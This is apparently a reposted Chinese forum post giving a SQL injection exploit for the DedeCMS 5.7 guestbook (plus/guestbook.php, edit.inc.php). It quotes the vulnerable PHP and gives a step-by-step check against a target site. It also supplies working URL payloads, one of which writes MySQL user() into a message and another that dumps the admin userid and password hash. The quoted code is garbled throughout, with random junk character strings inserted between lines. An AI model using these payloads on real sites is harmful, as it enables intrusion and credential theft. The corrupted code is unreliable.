dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7

, N2 R# l  h' }( t! T0 k漏洞文件edit.inc.php具体代码：

< ?php  
$ j! f5 O7 c7 p2 x
if(!defined('DEDEINC')) exit('Request Error!');  

   

0 S0 ~4 G3 q/ i7 m( \0 {, Cif(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  
$ l& j; {* j+ x" w% K$ @2 ^
) \  F6 {& N7 d8 l: h$ \else $GUEST_BOOK_POS = "guestbook.php";  
) S1 j3 M8 a% @0 h; v
   
/ f. N' }) f, ~/ @& l
: x  r; {/ b/ G. V$id = intval($id);  

- p* ?. ^. c3 i) |7 |if(empty($job)) $job='view';  
2 U# V0 {& f. U9 m3 H
9 t9 Q7 T8 D6 R5 r   

if($job=='del' && $g_isadmin)  
& Y7 v. q- n/ Z9 u9 n1 B
{  
# U5 w; }& r+ n$ D, W
. H1 e5 [8 i6 O8 b( ~+ I$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
0 T; H2 U# v& x9 z1 ?. b8 x
5 B: J- K6 \2 GShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  
! a/ Q9 V$ H" R8 o5 N. @
4 r6 \. c* I( a' F$ texit();  

}  

# c. P' m* Z$ G. B2 [* }% N! ~else if($job=='check' && $g_isadmin)  

{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  

ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  
% Q& e9 C; O& \/ U) g. O0 i+ D
exit();  
$ |: `( F8 }, s7 |0 `
}  

else if($job=='editok')  

! `& d- y8 ^7 }{  

$remsg = trim($remsg);  
/ _* T. ^5 O) ]! I
/ n4 L7 q, e, Yif($remsg!='')  

{  

& K+ e2 l9 K' {2 h" g2 Y//管理员回复不过滤HTML By:Errorera blog:errs.cc  

if($g_isadmin)  
. b3 K. O2 A+ Z: n# v) x; p* N; U. R  _
$ O. V) ?7 ~1 F  [9 K{  
6 ^! I8 H+ P6 D  E8 R# E
% R8 [, p% x+ g& d$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  

//$remsg <br /><font color=red>管理员回复：</font> }  

1 L) J0 r6 [: _; l3 N7 ~else
4 L* e4 X& H& }- n3 j
9 G" N. U: x2 J{  
' {" W+ R5 d2 V2 O+ F: n
+ P8 L# v, a1 E2 T, X$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
! `/ e6 N6 D- O
' P: H$ k1 d. c) K$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  

- B' C9 l% k4 M4 |% @, s" I$msg = $oldmsg.$remsg;  

' d: z3 s' z4 a; M}  
6 `. f4 h/ e+ O% ?' M
}  

/ ^, s$ q' R% d0 [//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  

' J* I) n  c) J  H8 k4 }$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  

ShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  

( s) Q/ S' ]8 ^' K0 dexit();  

}  
5 a3 y$ N' _1 c4 _1 i3 L/ @  b5 y7 x
//home:www.errs.cc  

if($g_isadmin)  
) y+ Y. ]2 F  e% W1 L
{  

. j+ f* l% ^$ Z; B7 G& D$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

0 Z$ e6 W6 a% z0 t( Z! a, irequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
0 ^# s1 F  `* l9 a1 B# y+ @; C
}  

$ f1 \) {8 B7 M$ c; a3 \4 celse
1 ?2 o7 S7 q& L# y; [6 e% E9 B3 m$ T
! p; O0 w  \; j+ }2 D{  
# X, o4 @$ Z; p. `; i
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
5 h! E1 r* p9 N7 D5 ~
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  

8 u5 M" \( O; C$ m1 _$ z} 漏洞成功需要条件：
1 y( H( _. \2 a0 A; Y1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
' l! n: ?! t& A: K1 R5 z# ^' ]' |% Y
9 c5 [2 X% G/ t( T/ A* z/ Awww.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
7 H+ J$ |1 T. `& h$ q4 D跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

7 a: }5 V, B/ [9 y( ~0 T- N, v7 S
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问

www.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

8 p! D' D; A4 S0 w  k1 Z* H大概利用就是这样，大家有兴趣的多研究下！！
( z3 ~2 k/ j, W' j1 a
1 F+ V( l+ U' j- r, K: V7 g最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！

view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='